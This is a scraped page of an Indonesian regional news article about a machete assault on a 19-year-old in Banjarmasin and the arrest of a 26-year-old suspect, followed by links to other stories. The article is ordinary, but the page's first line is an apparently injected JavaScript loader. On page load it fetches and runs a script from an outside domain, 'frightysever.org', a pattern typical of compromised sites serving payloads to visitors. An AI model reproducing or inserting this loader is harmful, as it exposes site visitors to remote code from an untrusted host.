(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Seorang pemuda bernama Novianto Fahrozi (19) menjadi korban penganiayaan, Kamis (13/8/2020) pagi sekitar pukul 05.00 Wita. Pria yang belum bekerja itu dianiaya di Jalan Belitung Darat depan Gang Rahayu RT 18 Kelurahan Belitung Utara, Kota Banjarmasin.
Warga Jalan Kuin Selatan, Gang Ananda RT 5 Kelurahan Kuin Selatan, Kota Banjarmasin tersebut mengalami luka bacok pada bagian pergelangan tangan sebelah kanan.
Menanggapi hal itu, Kapolsek Banjarmasin Barat, Kompol Mara Suryo Kartiko melalui Kanit Reskrim Ipda Yadi Tullah mengatakan, pelaku aniaya telah berhasil dibekuk petugas pada Jumat (11/9/2020) siang 15.00 Wita.
“Pelaku yang berinisial HM alias Nehe itu diciduk di Jalan Belitung Darat Gang Amal RT 15 Kelurahan, Belitung Utara Kecamatan Banjarmasin Barat,” katanya.
Ia menambahkan, pria yang berusia 26 tahun itu berhasil diringkus unit Ops Reskrim, berikut senjata tajam jenis parang lengkap dengan kumpang warna hitam panjang 55 Cm diamankan sebagai barang bukti.
Penganiayaan itu sendiri terjadi saat korban dan saksi bernama Aldi (18) dan Deni (18) sedang nongkrong di kawasan Jalan Belitung Darat, tepatnya di depan SMPN 5 Banjarmasin. Tiba tiba, adik pelaku melintas menggunakan sepeda motor dan sempat diteriaki korban dan saksi.
Kemudian, adik pelaku datang menghampiri korban dan saksi lalu terjadi cekcok mulut antara adik pelaku dengan korban. Setelah kejadian cekcok mulut tersebut adik pelaku lari dan meninggalkan sepeda motor dan satu ponsel di TKP.
Begitu juga ponsel milik korban tertinggal di TKP. Saat korban mencari ponsel miliknya dan melintas di depan Gang Rahayu, tiba-tiba pelaku langsung menyerang korban dengan menggunakan sajam. Atas kejadian tersebut korban dilarikan ke rumah sakit terdekat.
Saat ini pelaku dan barang bukti telah di bawa ke Mapolsek guna proses hukum lebih lanjut. ”Pelaku akan dijerat hukuman sesuai dengan Pasal 351 KUHP,“ pungkas Yadi. Pengungkapan kasus penganiayan ini merupakan perwujudan program Kapolda Kalsel Irjen Pol Dr Nico Afinta yang memerintahkan semua Polres jajaran Polda Kalsel menjaga pemeliharaan Harkamtibmas di wilayah hukum masing-masing. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.